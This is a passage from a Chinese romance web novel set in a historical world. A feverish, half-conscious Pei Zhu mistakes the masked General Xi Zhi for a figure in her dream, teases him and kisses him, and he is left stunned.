修林急得满头大汗,心中呐喊—— 四爷您可快来吧! 不然真要出大事了! 终于,似乎是听到了他的呼唤。 一道黑影自他眼前飞速闪过,数息后,将摇摇欲坠的的五姑娘,拦腰稳稳托住。 …… 裴珠忽然摸到了个大型降温玩偶。 冰凉凉的,一贴上去,她愈来愈烫的脸颊就立刻有救了。 她手脚并用紧紧缠住,从内至外的燥热之气,似乎也终于开始稍有消解,她混沌的大脑,朦胧的视觉,渐渐有了一丝清明。 耳畔由远及近,悠悠聚起一个熟悉的声音,一遍遍唤着。 “阿珠!裴珠,醒醒——” 嗯? 谁在说话? 四哥吗? 不对。 她费力掀开沉重的眼帘,眼前缓慢开始聚焦,很久很久后,终于能稍稍看清些这梦中的画面。 漆黑玄铁面具遮去来人半张面孔,唯见半截锋利下颌,在她半尺之外,正焦灼唤着她的名姓。 她忽而笑了。 手摇摇晃晃抬起来,捏住他的下巴。 学着纨绔子弟调戏良家的口吻,她问,“哟,奚将军你怎么在这儿啊?” 这还是头一回来我梦里呢! “我……” “不重要!” 裴珠嘻嘻一笑。 “我这几天正想见你呢……你可总算来了!” 面前人竟反应那样迟钝,好半天才低声回问,“你,一直在想……我吗?” 不愧是她的梦,梦里的奚止来得就是要坦诚得多! 嘿嘿。 还会问这样的话呢! 裴珠不免软语哄道,“当然啦,我每天都在想你呀!” “不仅想你,我还想……” 她乐滋滋贴过去,在他未被面具遮挡的薄唇上,吧唧印了个吻。 反正这是她的梦,她想干什么就干什么! 怀着这样的美妙心情,她得意洋洋弯起唇角,笑了许久,只是意识仿佛强弩之末,终于还是彻底熄火,陷入了沉眠。 她歪向一侧,落入了一个人的怀中。 而那人,早已呆立原地,化作一尊万年冰雕,不能再做出任何反应。 三魂七魄,皆离窍而去,飞出了肉身。